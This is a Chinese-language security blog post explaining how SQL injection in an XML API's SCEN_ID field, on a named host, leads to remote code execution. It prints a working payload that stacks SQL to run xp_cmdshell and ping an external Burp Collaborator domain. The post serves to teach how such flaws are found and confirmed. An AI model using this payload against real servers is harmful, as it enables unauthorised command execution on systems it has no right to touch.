由sqli所引起的RCE

admin 2024年8月11日11:32:10评论11 views字数 2099阅读6分59秒阅读模式

正文

正常情况下的请求

在正常使用中,API请求旨在合法地交互服务器以获取或更新数据。比如,本案例中,一个正常的API请求可能是查询某个特定场景对象的信息,如:

POST  /  HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 185

<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="123" ExpectSigned="Yes" INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4" POINT_CODE="tzhr" lang="en"></REQUEST>

在这个示例中:

SCEN_ID="123":请求特定ID为123的场景对象。

ExpectSigned="Yes":这个标志要求请求应当是签名的,增加了请求的安全性。

INT_SOFT_ID:是一个内部软件识别码,用于验证请求来源。

其他参数如POINT_CODE和lang用于指定更具体的查询需求。

这个请求按照预期功能进行,不涉及任何恶意操作。

受到攻击后的请求

在受到攻击时,如SQL注入,请求会被操纵以执行未经授权的数据库操作。以下是一个受到SQL注入攻击的请求示例:

POST  /  HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 342

<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'" ExpectSigned="No" INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4" POINT_CODE="tzhr" lang="en"></REQUEST>

这是一个包含了一个具有SQL注入的XML请求体。这个请求利用了目标API的漏洞来执行远程代码(RCE),即在服务器上运行一个外部命令

<REQUEST ... >: 这是XML数据的根元素,包含了多个属性,用于定义请求的具体操作和参数。

OBJECT_CLASS="TScenObject": 指定请求操作的对象类别,这里是"TScenObject"。

ACTION="ScenObjects": 指定要执行的动作,这里是"ScenObjects",可能是查询或操作场景对象。

SCEN_ID="...": 这是关键的注入点。攻击者在这里注入了SQL代码。

33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP': 这段SQL注入试图做以下几件事:

通过;结束前一个SQL语句(如果有)。

使用DECLARE语句声明一个变量@command,并将一个ping命令字符串赋值给它。

使用EXEC Master.dbo.xp_cmdshell @command执行这个ping命令。xp_cmdshell是SQL Server的一个扩展存储过程,允许执行操作系统级的命令。这里的ping命令用于发送ICMP包到一个指定的域名,这个域名通常由攻击者控制,用于收集来自被攻击服务器的数据。

最后一个SELECT 1 as 'STEP'可能用于保持SQL语法的正确性,确保整个注入代码在语法上是合法的。

ExpectSigned="No": 表明这个请求不需要数字签名,可能是API设计上的一个安全漏洞,使得未经验证的请求更易被接受。

INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4": 内部软件标识,用于认证或追踪请求来源。

POINT_CODE="tzhr", lang="en": 其他可能用于指定操作或本地化设置的参数。

在这个恶意请求中:

SCEN_ID 被设置为一串SQL注入代码,这些代码不仅试图查询ID为33的场景对象,还试图执行一个远程命令(通过xp_cmdshell)来发送ping到一个指定的外部服务器(使用Burp Collaborator等工具可以监测到这一ping请求,以此来确认远程代码执行的成功)。

原文始发于微信公众号(迪哥讲事):由sqli所引起的RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月11日11:32:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由sqli所引起的RCEhttp://cn-sec.com/archives/3053716.html

发表评论

匿名网友 填写信息